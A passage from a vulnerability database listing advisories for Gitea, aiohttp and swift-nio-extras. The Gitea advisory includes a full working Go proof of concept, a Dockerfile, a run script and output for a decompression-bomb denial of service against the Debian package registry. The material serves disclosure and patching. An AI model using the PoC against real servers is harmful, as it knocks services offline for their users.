// entire 15 GB decompressed stream into control.Builder, exhausting the
// 12 GB container limit and triggering an OOM kill.
fmt.Println("[phase 2] Calling debian_module.ParsePackage (same call as the HTTP handler)...")
fmt.Println(" Memory will grow until the container is OOM-killed.")
printMem()
if _, err := tmp.Seek(0, io.SeekStart); err != nil {
fmt.Fprintf(os.Stderr, "seek: %v\n", err)
os.Exit(1)
}
t1 := time.Now()
_, parseErr := debian_module.ParsePackage(tmp)
// We only reach here if ParsePackage returns before OOM (e.g. scanner error).
fmt.Printf("\nParsePackage returned after %.1fs: %v\n", time.Since(t1).Seconds(), parseErr)
printMem()
}
Dockerfile.poc
FROM golang:1.26-bookworm AS builder
WORKDIR /src
# Copy the full repo so the PoC can import gitea.dev/modules/packages/debian
# and github.com/blakesmith/ar via the existing go.mod/go.sum.
COPY . .
# Build only the PoC binary; ignore the rest of the tree.
RUN go build -o /poc ./cmd/poc/
# ── runtime image ──────────────────────────────────────────────────────────────
FROM debian:bookworm-slim
COPY --from=builder /poc /poc
ENTRYPOINT ["/poc"]
Now run the PoC in the Docker container with:
#!/usr/bin/env bash
set -euo pipefail
IMAGE=gitea-debian-poc
echo "=== Building Docker image ==="
docker build -f Dockerfile.poc -t "$IMAGE" .
echo ""
echo "=== Running PoC (memory limit: 12 GB) ==="
echo " The container will be OOM-killed once memory is exhausted."
echo ""
# --memory caps RSS; --memory-swap equal to --memory disables swap.
# --oom-kill-disable is NOT set so the kernel OOM killer fires normally.
docker run --rm \
--memory=12g \
--memory-swap=12g \
--name gitea-poc \
"$IMAGE"
EXIT=$?
echo ""
if [ $EXIT -eq 137 ]; then
echo "Container exited with code 137 (SIGKILL from OOM killer) — vulnerability confirmed."
else
echo "Container exited with code $EXIT."
fi
You will see the following when running the container (see the heap allocation growing towards the end):
=== Building Docker image ===
DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
Install the buildx component to build images with BuildKit:
https://docs.docker.com/go/buildx/
Sending build context to Docker daemon 59.32MB
Step 1/7 : FROM golang:1.26-bookworm AS builder
---> eafdda676c2e
Step 2/7 : WORKDIR /src
---> Using cache
---> db52a8f73485
Step 3/7 : COPY . .
---> Using cache
---> 4caf57c6e889
Step 4/7 : RUN go build -o /poc ./cmd/poc/
---> Using cache
---> 286afcb05d0e
Step 5/7 : FROM debian:bookworm-slim
---> f54f5c8e2e12
Step 6/7 : COPY --from=builder /poc /poc
---> Using cache
---> d7d0b269df49
Step 7/7 : ENTRYPOINT ["/poc"]
---> Using cache
---> b233faaad561
Successfully built b233faaad561
Successfully tagged gitea-debian-poc:latest
=== Running PoC (memory limit: 12 GB) ===
The container will be OOM-killed once memory is exhausted.
=== Gitea Debian Parser — Decompression Bomb PoC ===
Target uncompressed control file size: 16.1 GB
Container memory limit: 12 GB
[phase 1] Generating control.tar.gz (compressed payload)...
Streaming 3221225450 lines (16.1 GB) through gzip...
[mem] HeapAlloc=0.04 GB Sys=0.08 GB TotalAlloc=0.05 GB
... 16% (2.1s)
... 31% (3.9s)
[mem] HeapAlloc=0.07 GB Sys=0.11 GB TotalAlloc=0.08 GB
... 47% (5.8s)
[mem] HeapAlloc=0.11 GB Sys=0.18 GB TotalAlloc=0.15 GB
... 62% (7.4s)
[mem] HeapAlloc=0.11 GB Sys=0.18 GB TotalAlloc=0.15 GB
... 78% (9.0s)
[mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB
... 93% (10.8s)
Done in 11.5s
control.tar.gz compressed size: 83.07 MB
Payload .deb on disk: 83.07 MB (took 11.6s)
[phase 2] Calling debian_module.ParsePackage (same call as the HTTP handler)...
Memory will grow until the container is OOM-killed.
[mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB
[mem] HeapAlloc=0.41 GB Sys=0.44 GB TotalAlloc=0.48 GB
[mem] HeapAlloc=0.25 GB Sys=0.61 GB TotalAlloc=1.63 GB
[mem] HeapAlloc=0.63 GB Sys=0.97 GB TotalAlloc=2.63 GB
[mem] HeapAlloc=0.83 GB Sys=1.52 GB TotalAlloc=3.80 GB
[mem] HeapAlloc=1.39 GB Sys=2.00 GB TotalAlloc=5.34 GB
[mem] HeapAlloc=1.37 GB Sys=2.00 GB TotalAlloc=5.86 GB
[mem] HeapAlloc=1.42 GB Sys=2.60 GB TotalAlloc=6.97 GB
[mem] HeapAlloc=1.40 GB Sys=3.35 GB TotalAlloc=8.26 GB
[mem] HeapAlloc=2.25 GB Sys=3.36 GB TotalAlloc=9.11 GB
[mem] HeapAlloc=1.97 GB Sys=4.28 GB TotalAlloc=10.48 GB
[mem] HeapAlloc=2.73 GB Sys=4.29 GB TotalAlloc=11.23 GB
[mem] HeapAlloc=2.77 GB Sys=5.45 GB TotalAlloc=12.67 GB
[mem] HeapAlloc=2.90 GB Sys=5.45 GB TotalAlloc=13.46 GB
[mem] HeapAlloc=3.57 GB Sys=5.46 GB TotalAlloc=14.13 GB
[mem] HeapAlloc=2.94 GB Sys=5.46 GB TotalAlloc=16.07 GB
[mem] HeapAlloc=3.72 GB Sys=5.47 GB TotalAlloc=16.85 GB
[mem] HeapAlloc=4.50 GB Sys=5.48 GB TotalAlloc=17.64 GB
[mem] HeapAlloc=5.30 GB Sys=7.28 GB TotalAlloc=19.58 GB
[mem] HeapAlloc=3.82 GB Sys=7.28 GB TotalAlloc=20.17 GB
[mem] HeapAlloc=4.66 GB Sys=7.29 GB TotalAlloc=21.01 GB
[mem] HeapAlloc=5.33 GB Sys=7.29 GB TotalAlloc=21.67 GB
[mem] HeapAlloc=6.62 GB Sys=9.56 GB TotalAlloc=24.40 GB
[mem] HeapAlloc=6.62 GB Sys=9.56 GB TotalAlloc=24.40 GB
[mem] HeapAlloc=4.72 GB Sys=9.56 GB TotalAlloc=25.09 GB
[mem] HeapAlloc=5.54 GB Sys=9.56 GB TotalAlloc=25.90 GB
[mem] HeapAlloc=6.28 GB Sys=9.57 GB TotalAlloc=26.64 GB
[mem] HeapAlloc=7.15 GB Sys=9.59 GB TotalAlloc=27.51 GB
[mem] HeapAlloc=8.27 GB Sys=12.40 GB TotalAlloc=30.43 GB
[mem] HeapAlloc=5.52 GB Sys=12.40 GB TotalAlloc=30.90 GB
[mem] HeapAlloc=6.35 GB Sys=12.40 GB TotalAlloc=31.74 GB
[mem] HeapAlloc=7.18 GB Sys=12.40 GB TotalAlloc=32.57 GB
[mem] HeapAlloc=8.01 GB Sys=12.41 GB TotalAlloc=33.39 GB
[mem] HeapAlloc=8.80 GB Sys=12.43 GB TotalAlloc=34.19 GB
Severity
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.27.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56755"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T20:24:09Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Gitea\u0027s Debian package registry parser contains an unbounded decompression vulnerability in [ParseControlFile](https://github.com/go-gitea/gitea/blob/689ace1ce28fd74244b8aa335d9928cdbf6b22f9/modules/packages/debian/metadata.go#L140). When processing an uploaded `.deb` file, the parser decompresses `control.tar.gz` and copies the entire uncompressed stream into a `strings.Builder` via a `TeeReader`, with no limit on how much data is read. Because `DEFLATE` compression can achieve ratios exceeding 100:1 on repetitive input, an attacker can craft an 83 MB `.deb` payload that expands to over 16 GB during parsing, exhausting server memory before any content validation runs. A second issue compounds this: continuation lines in the Description field are concatenated with `+=` at [modules/packages/debian/metadata.go:161](https://github.com/go-gitea/gitea/blob/689ace1ce28fd74244b8aa335d9928cdbf6b22f9/modules/packages/debian/metadata.go#L161) inside a loop, producing `O(N\u00b2)` allocation and copy work that stalls the CPU even at moderate line counts. Any authenticated user with write access to the package registry can trigger a complete denial of service with a single upload request to the handler at [routers/api/packages/debian/debian.go:146](https://github.com/go-gitea/gitea/blob/689ace1ce28fd74244b8aa335d9928cdbf6b22f9/routers/api/packages/debian/debian.go#L146).\n\n### Root Cause\n\nThere are two distinct root causes that can be exploited independently or together.\n\n**1. Unbounded decompression (decompression bomb)**\nParsePackage wraps the control.tar member in a decompressor but never constrains how many bytes that decompressor is allowed to produce:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L88-L110\n\nThe resulting inner reader is passed directly to the tar reader, and from there to `ParseControlFile`. Inside `ParseControlFile`,\nevery byte that the `bufio.Scanner` reads from the decompressed stream is simultaneously written into an unbounded\n`strings.Builder` via `io.TeeReader`:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L147-L150\n\nThere is no call to io.LimitReader at any point in this chain. Other package format parsers in the same codebase \u2014 pub, conan, and cargo \u2014 all wrap their readers with `io.LimitReader` before consuming them. The Debian parser does not, making it the only one in the registry vulnerable to this class of attack.\n\n**2. O(N\u00b2) string concatenation**\nFor each continuation line belonging to the Description field, the parser appends to a plain string with +=:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L158-L164\n\nBecause Go strings are immutable, every `+=` allocates a new backing array and copies the entire accumulated description into it. A description with N continuation lines triggers O(N\u00b2) total bytes of allocation and copying. At 500 000 lines this produces roughly 250 GB of cumulative copy work, saturating a CPU core and driving the GC into a tight collection loop regardless of available RAM.\n\n### Reproducing\nI have reproduced the issue in a Docker container with the following PoC. It may need tweaks based on the memory you are reproducing it with. \n\nThis has been reproduced on commit `9155a81b9daf1d46b2380aa91271e623ac947c1e`.\n\nAll the files go in the gitea file directory. \n\n`cmd/poc/main.go`\n```go\npackage main\n\nimport (\n\t\"archive/tar\"\n\t\"bytes\"\n\t\"compress/gzip\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"runtime\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/blakesmith/ar\"\n\n\tdebian_module \"gitea.dev/modules/packages/debian\"\n)\n\n// targetUncompressed is the desired size of the uncompressed control file.\n// Set comfortably above the 12 GB container limit so the OOM kill is reliable.\nconst targetUncompressed = 15 * 1024 * 1024 * 1024 // 15 GB\n\n// padLine is the filler field written after the required package fields.\n// Using an unknown field key (\"X\") means the parser discards the value but the\n// TeeReader still copies every byte into control.Builder \u2014 that is the bug.\n// Unlike Description continuation lines this does NOT trigger the O(N\u00b2) path,\n// so memory exhaustion is purely linear and fast.\nconst padLine = \"X: a\\n\" // 5 bytes\n\n// controlHeader is a minimal valid Debian control file preamble.\nconst controlHeader = \"Package: evil\\n\" +\n\t\"Version: 1.0\\n\" +\n\t\"Architecture: amd64\\n\" +\n\t\"Maintainer: Evil Hacker \u003cevil@evil.com\u003e\\n\" +\n\t\"Description: exploit\\n\"\n\nfunc printMem() {\n\tvar m runtime.MemStats\n\truntime.ReadMemStats(\u0026m)\n\t// Print RSS-equivalent (HeapSys + StackSys covers most process memory).\n\tfmt.Printf(\"[mem] HeapAlloc=%.2f GB Sys=%.2f GB TotalAlloc=%.2f GB\\n\",\n\t\tfloat64(m.HeapAlloc)/1e9,\n\t\tfloat64(m.Sys)/1e9,\n\t\tfloat64(m.TotalAlloc)/1e9,\n\t)\n}\n\n// buildControlTarGz streams a gzip-compressed tar archive containing a single\n// \"control\" entry whose uncompressed size is ~targetUncompressed bytes.\n// Writing is done in large batches so the loop itself is fast; gzip compresses\n// the repetitive content to a fraction of its original size.\nfunc buildControlTarGz(w io.Writer) error {\n\tgzw, err := gzip.NewWriterLevel(w, gzip.BestSpeed)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"gzip.NewWriter: %w\", err)\n\t}\n\ttw := tar.NewWriter(gzw)\n\n\tnumPadLines := (targetUncompressed - len(controlHeader)) / len(padLine)\n\ttotalSize := int64(len(controlHeader)) + int64(numPadLines)*int64(len(padLine))\n\n\tif err := tw.WriteHeader(\u0026tar.Header{\n\t\tName: \"./control\",\n\t\tMode: 0o644,\n\t\tSize: totalSize,\n\t\tModTime: time.Now(),\n\t\tTypeflag: tar.TypeReg,\n\t}); err != nil {\n\t\treturn fmt.Errorf(\"tar WriteHeader: %w\", err)\n\t}\n\tif _, err := tw.Write([]byte(controlHeader)); err != nil {\n\t\treturn fmt.Errorf(\"write header: %w\", err)\n\t}\n\n\t// Write padLine in 5 MB batches (1 M lines \u00d7 5 bytes).\n\tconst batchLines = 1_000_000\n\tbatch := []byte(strings.Repeat(padLine, batchLines))\n\tfullBatches := numPadLines / batchLines\n\tremainder := numPadLines % batchLines\n\n\tfmt.Printf(\" Streaming %d lines (%.1f GB) through gzip...\\n\",\n\t\tnumPadLines, float64(totalSize)/1e9)\n\n\tt0 := time.Now()\n\tfor i := range fullBatches {\n\t\tif _, err := tw.Write(batch); err != nil {\n\t\t\treturn fmt.Errorf(\"batch write: %w\", err)\n\t\t}\n\t\tif i%500 == 0 \u0026\u0026 i \u003e 0 {\n\t\t\tpct := float64(i) / float64(fullBatches) * 100\n\t\t\tfmt.Printf(\" ... %.0f%% (%.1fs)\\n\", pct, time.Since(t0).Seconds())\n\t\t}\n\t}\n\tif remainder \u003e 0 {\n\t\tif _, err := tw.Write(batch[:remainder*len(padLine)]); err != nil {\n\t\t\treturn fmt.Errorf(\"remainder write: %w\", err)\n\t\t}\n\t}\n\n\tif err := tw.Close(); err != nil {\n\t\treturn fmt.Errorf(\"tar close: %w\", err)\n\t}\n\tif err := gzw.Close(); err != nil {\n\t\treturn fmt.Errorf(\"gzip close: %w\", err)\n\t}\n\tfmt.Printf(\" Done in %.1fs\\n\", time.Since(t0).Seconds())\n\treturn nil\n}\n\n// buildDeb writes a complete .deb (ar archive) to w. The control.tar.gz member\n// is the bomb; data.tar.gz is empty.\nfunc buildDeb(w io.Writer) error {\n\t// Buffer control.tar.gz first so we know its compressed size for the ar header.\n\tvar ctrlBuf bytes.Buffer\n\tfmt.Println(\"[phase 1] Generating control.tar.gz (compressed payload)...\")\n\tif err := buildControlTarGz(\u0026ctrlBuf); err != nil {\n\t\treturn err\n\t}\n\tctrlBytes := ctrlBuf.Bytes()\n\tfmt.Printf(\" control.tar.gz compressed size: %.2f MB\\n\", float64(len(ctrlBytes))/1e6)\n\n\t// Empty data.tar.gz\n\tvar dataBuf bytes.Buffer\n\tdgzw, _ := gzip.NewWriterLevel(\u0026dataBuf, gzip.BestSpeed)\n\ttar.NewWriter(dgzw).Close()\n\tdgzw.Close()\n\tdataBytes := dataBuf.Bytes()\n\n\tarw := ar.NewWriter(w)\n\tif err := arw.WriteGlobalHeader(); err != nil {\n\t\treturn err\n\t}\n\tnow := time.Now()\n\n\tfor _, member := range []struct {\n\t\tname string\n\t\tdata []byte\n\t}{\n\t\t{\"debian-binary\", []byte(\"2.0\\n\")},\n\t\t{\"control.tar.gz\", ctrlBytes},\n\t\t{\"data.tar.gz\", dataBytes},\n\t} {\n\t\tif err := arw.WriteHeader(\u0026ar.Header{\n\t\t\tName: member.name,\n\t\t\tSize: int64(len(member.data)),\n\t\t\tMode: 0o644,\n\t\t\tModTime: now,\n\t\t}); err != nil {\n\t\t\treturn fmt.Errorf(\"ar header %s: %w\", member.name, err)\n\t\t}\n\t\tif _, err := arw.Write(member.data); err != nil {\n\t\t\treturn fmt.Errorf(\"ar write %s: %w\", member.name, err)\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc main() {\n\tfmt.Println(\"=== Gitea Debian Parser \u2014 Decompression Bomb PoC ===\")\n\tfmt.Printf(\"Target uncompressed control file size: %.1f GB\\n\", float64(targetUncompressed)/1e9)\n\tfmt.Printf(\"Container memory limit: 12 GB\\n\\n\")\n\n\t// Background goroutine prints memory stats every 2 s.\n\tgo func() {\n\t\tfor range time.Tick(2 * time.Second) {\n\t\t\tprintMem()\n\t\t}\n\t}()\n\n\t// Phase 1 \u2014 create the payload and save it to a temp file.\n\t// Writing to disk keeps the ~200 MB compressed payload out of the heap\n\t// before we start the parse phase.\n\ttmp, err := os.CreateTemp(\"\", \"evil-*.deb\")\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"CreateTemp: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tdefer os.Remove(tmp.Name())\n\tdefer tmp.Close()\n\n\tt0 := time.Now()\n\tif err := buildDeb(tmp); err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"buildDeb: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tsz, _ := tmp.Seek(0, io.SeekCurrent)\n\tfmt.Printf(\"\\nPayload .deb on disk: %.2f MB (took %.1fs)\\n\\n\", float64(sz)/1e6, time.Since(t0).Seconds())\n\n\t// Phase 2 \u2014 call ParsePackage, mirroring UploadPackageFile at\n\t// routers/api/packages/debian/debian.go:146.\n\t// The TeeReader inside ParseControlFile (metadata.go:149) will copy the\n\t// entire 15 GB decompressed stream into control.Builder, exhausting the\n\t// 12 GB container limit and triggering an OOM kill.\n\tfmt.Println(\"[phase 2] Calling debian_module.ParsePackage (same call as the HTTP handler)...\")\n\tfmt.Println(\" Memory will grow until the container is OOM-killed.\")\n\tprintMem()\n\n\tif _, err := tmp.Seek(0, io.SeekStart); err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"seek: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\n\tt1 := time.Now()\n\t_, parseErr := debian_module.ParsePackage(tmp)\n\t// We only reach here if ParsePackage returns before OOM (e.g. scanner error).\n\tfmt.Printf(\"\\nParsePackage returned after %.1fs: %v\\n\", time.Since(t1).Seconds(), parseErr)\n\tprintMem()\n}\n```\n\n`Dockerfile.poc`\n```docker\nFROM golang:1.26-bookworm AS builder\n\nWORKDIR /src\n# Copy the full repo so the PoC can import gitea.dev/modules/packages/debian\n# and github.com/blakesmith/ar via the existing go.mod/go.sum.\nCOPY . .\n\n# Build only the PoC binary; ignore the rest of the tree.\nRUN go build -o /poc ./cmd/poc/\n\n# \u2500\u2500 runtime image \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nFROM debian:bookworm-slim\nCOPY --from=builder /poc /poc\nENTRYPOINT [\"/poc\"]\n```\n\nNow run the PoC in the Docker container with:\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nIMAGE=gitea-debian-poc\n\necho \"=== Building Docker image ===\"\ndocker build -f Dockerfile.poc -t \"$IMAGE\" .\n\necho \"\"\necho \"=== Running PoC (memory limit: 12 GB) ===\"\necho \" The container will be OOM-killed once memory is exhausted.\"\necho \"\"\n\n# --memory caps RSS; --memory-swap equal to --memory disables swap.\n# --oom-kill-disable is NOT set so the kernel OOM killer fires normally.\ndocker run --rm \\\n --memory=12g \\\n --memory-swap=12g \\\n --name gitea-poc \\\n \"$IMAGE\"\n\nEXIT=$?\necho \"\"\nif [ $EXIT -eq 137 ]; then\n echo \"Container exited with code 137 (SIGKILL from OOM killer) \u2014 vulnerability confirmed.\"\nelse\n echo \"Container exited with code $EXIT.\"\nfi\n```\n\nYou will see the following when running the container (see the heap allocation growing towards the end):\n\n```\n=== Building Docker image ===\nDEPRECATED: The legacy builder is deprecated and will be removed in a future release.\n Install the buildx component to build images with BuildKit:\n https://docs.docker.com/go/buildx/\n\nSending build context to Docker daemon 59.32MB\nStep 1/7 : FROM golang:1.26-bookworm AS builder\n ---\u003e eafdda676c2e\nStep 2/7 : WORKDIR /src\n ---\u003e Using cache\n ---\u003e db52a8f73485\nStep 3/7 : COPY . .\n ---\u003e Using cache\n ---\u003e 4caf57c6e889\nStep 4/7 : RUN go build -o /poc ./cmd/poc/\n ---\u003e Using cache\n ---\u003e 286afcb05d0e\nStep 5/7 : FROM debian:bookworm-slim\n ---\u003e f54f5c8e2e12\nStep 6/7 : COPY --from=builder /poc /poc\n ---\u003e Using cache\n ---\u003e d7d0b269df49\nStep 7/7 : ENTRYPOINT [\"/poc\"]\n ---\u003e Using cache\n ---\u003e b233faaad561\nSuccessfully built b233faaad561\nSuccessfully tagged gitea-debian-poc:latest\n\n=== Running PoC (memory limit: 12 GB) ===\n The container will be OOM-killed once memory is exhausted.\n\n=== Gitea Debian Parser \u2014 Decompression Bomb PoC ===\nTarget uncompressed control file size: 16.1 GB\nContainer memory limit: 12 GB\n\n[phase 1] Generating control.tar.gz (compressed payload)...\n Streaming 3221225450 lines (16.1 GB) through gzip...\n[mem] HeapAlloc=0.04 GB Sys=0.08 GB TotalAlloc=0.05 GB\n ... 16% (2.1s)\n ... 31% (3.9s)\n[mem] HeapAlloc=0.07 GB Sys=0.11 GB TotalAlloc=0.08 GB\n ... 47% (5.8s)\n[mem] HeapAlloc=0.11 GB Sys=0.18 GB TotalAlloc=0.15 GB\n ... 62% (7.4s)\n[mem] HeapAlloc=0.11 GB Sys=0.18 GB TotalAlloc=0.15 GB\n ... 78% (9.0s)\n[mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB\n ... 93% (10.8s)\n Done in 11.5s\n control.tar.gz compressed size: 83.07 MB\n\nPayload .deb on disk: 83.07 MB (took 11.6s)\n\n[phase 2] Calling debian_module.ParsePackage (same call as the HTTP handler)...\n Memory will grow until the container is OOM-killed.\n[mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB\n[mem] HeapAlloc=0.41 GB Sys=0.44 GB TotalAlloc=0.48 GB\n[mem] HeapAlloc=0.25 GB Sys=0.61 GB TotalAlloc=1.63 GB\n[mem] HeapAlloc=0.63 GB Sys=0.97 GB TotalAlloc=2.63 GB\n[mem] HeapAlloc=0.83 GB Sys=1.52 GB TotalAlloc=3.80 GB\n[mem] HeapAlloc=1.39 GB Sys=2.00 GB TotalAlloc=5.34 GB\n[mem] HeapAlloc=1.37 GB Sys=2.00 GB TotalAlloc=5.86 GB\n[mem] HeapAlloc=1.42 GB Sys=2.60 GB TotalAlloc=6.97 GB\n[mem] HeapAlloc=1.40 GB Sys=3.35 GB TotalAlloc=8.26 GB\n[mem] HeapAlloc=2.25 GB Sys=3.36 GB TotalAlloc=9.11 GB\n[mem] HeapAlloc=1.97 GB Sys=4.28 GB TotalAlloc=10.48 GB\n[mem] HeapAlloc=2.73 GB Sys=4.29 GB TotalAlloc=11.23 GB\n[mem] HeapAlloc=2.77 GB Sys=5.45 GB TotalAlloc=12.67 GB\n[mem] HeapAlloc=2.90 GB Sys=5.45 GB TotalAlloc=13.46 GB\n[mem] HeapAlloc=3.57 GB Sys=5.46 GB TotalAlloc=14.13 GB\n[mem] HeapAlloc=2.94 GB Sys=5.46 GB TotalAlloc=16.07 GB\n[mem] HeapAlloc=3.72 GB Sys=5.47 GB TotalAlloc=16.85 GB\n[mem] HeapAlloc=4.50 GB Sys=5.48 GB TotalAlloc=17.64 GB\n[mem] HeapAlloc=5.30 GB Sys=7.28 GB TotalAlloc=19.58 GB\n[mem] HeapAlloc=3.82 GB Sys=7.28 GB TotalAlloc=20.17 GB\n[mem] HeapAlloc=4.66 GB Sys=7.29 GB TotalAlloc=21.01 GB\n[mem] HeapAlloc=5.33 GB Sys=7.29 GB TotalAlloc=21.67 GB\n[mem] HeapAlloc=6.62 GB Sys=9.56 GB TotalAlloc=24.40 GB\n[mem] HeapAlloc=6.62 GB Sys=9.56 GB TotalAlloc=24.40 GB\n[mem] HeapAlloc=4.72 GB Sys=9.56 GB TotalAlloc=25.09 GB\n[mem] HeapAlloc=5.54 GB Sys=9.56 GB TotalAlloc=25.90 GB\n[mem] HeapAlloc=6.28 GB Sys=9.57 GB TotalAlloc=26.64 GB\n[mem] HeapAlloc=7.15 GB Sys=9.59 GB TotalAlloc=27.51 GB\n[mem] HeapAlloc=8.27 GB Sys=12.40 GB TotalAlloc=30.43 GB\n[mem] HeapAlloc=5.52 GB Sys=12.40 GB TotalAlloc=30.90 GB\n[mem] HeapAlloc=6.35 GB Sys=12.40 GB TotalAlloc=31.74 GB\n[mem] HeapAlloc=7.18 GB Sys=12.40 GB TotalAlloc=32.57 GB\n[mem] HeapAlloc=8.01 GB Sys=12.41 GB TotalAlloc=33.39 GB\n[mem] HeapAlloc=8.80 GB Sys=12.43 GB TotalAlloc=34.19 GB\n```",
"id": "GHSA-6hm7-3pwj-22rm",
"modified": "2026-07-21T20:24:09Z",
"published": "2026-07-21T20:24:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-6hm7-3pwj-22rm"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/pull/38406"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/pull/38426"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/commit/f69e15afe7496cc62e96dab244629c69eb31a7bf"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Gitea: Denial of Service (CPU \u0026 Memory Exhaustion) via O(N^2) String Concatenation in Debian Package Upload"
}
GHSA-6MQ8-RVHQ-8WGG
Vulnerability from github – Published: 2026-01-05 22:58 – Updated: 2026-01-06 16:06
VLAI
Summary
AIOHTTP's HTTP Parser auto_decompress feature is vulnerable to zip bomb
Details
Summary
A zip bomb can be used to execute a DoS against the aiohttp server.
Impact
An attacker may be able to send a compressed request that when decompressed by aiohttp could exhaust the host's memory.
Patch: https://github.com/aio-libs/aiohttp/commit/2b920c39002cee0ec5b402581779bbaaf7c9138a
Severity
7.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.13.2"
},
"package": {
"ecosystem": "PyPI",
"name": "aiohttp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.13.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-69223"
],
"database_specific": {
"cwe_ids": [
"CWE-409",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-05T22:58:41Z",
"nvd_published_at": "2026-01-05T22:15:53Z",
"severity": "HIGH"
},
"details": "### Summary\nA zip bomb can be used to execute a DoS against the aiohttp server.\n\n### Impact\nAn attacker may be able to send a compressed request that when decompressed by aiohttp could exhaust the host\u0027s memory.\n\n------\n\nPatch: https://github.com/aio-libs/aiohttp/commit/2b920c39002cee0ec5b402581779bbaaf7c9138a",
"id": "GHSA-6mq8-rvhq-8wgg",
"modified": "2026-01-06T16:06:18Z",
"published": "2026-01-05T22:58:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-6mq8-rvhq-8wgg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69223"
},
{
"type": "WEB",
"url": "https://github.com/aio-libs/aiohttp/commit/2b920c39002cee0ec5b402581779bbaaf7c9138a"
},
{
"type": "PACKAGE",
"url": "https://github.com/aio-libs/aiohttp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "AIOHTTP\u0027s HTTP Parser auto_decompress feature is vulnerable to zip bomb"
}
GHSA-6PH5-FWW6-VFWV
Vulnerability from github – Published: 2026-06-12 15:08 – Updated: 2026-06-12 15:08
VLAI
Summary
NIOExtras: NIOHTTPRequestDecompressor ratio limit bypass via inflated Content-Length
Details
Impact
When NIOHTTPRequestDecompressor is configured with .ratio(N), the decompression limit is enforced using the Content-Length header value from the incoming request rather than the actual number of compressed bytes received. Since Content-Length is attacker-controlled, a malicious client can supply an inflated value that causes the ratio check to always pass, effectively disabling the configured decompression limit.
This allows an attacker to send a small, highly-compressed payload (a "gzip bomb") with a falsified Content-Length header to bypass the ratio-based protection entirely. The server will decompress the payload without limit, consuming unbounded memory and potentially causing denial of service.
For example, a gzip payload containing highly repetitive data can achieve amplification ratios of several hundred to one. Under .ratio(10) such a payload should be rejected, but if the attacker sets Content-Length to match the decompressed size, the check evaluates decompressed > decompressed * 10 which is always false, and the payload is accepted without error.
Across repeated requests, this allows sustained memory amplification far exceeding the configured limits with no error raised.
Relationship to CVE-2020-9840
GHSA-xhhr-p2r9-jmm7 (CVE-2020-9840) found that the .size limit checked compressed rather than decompressed bytes and recommended .ratio as a workaround. This advisory identifies a distinct flaw in the .ratio limit itself: it uses the attacker-supplied Content-Length header as the denominator rather than actual consumed compressed bytes. The two vulnerabilities are in the same decompression limit enforcement code but involve non-overlapping logic errors.
Users who followed the CVE-2020-9840 workaround by switching to .ratio(N) are affected by this vulnerability.
Patches
Fixed in swift-nio-extras 1.34.1. The fix unifies the request and response decompressor implementations so that both accumulate actual compressed bytes received (compressedLength += part.readableBytes) rather than relying on any header-supplied value.
Workarounds
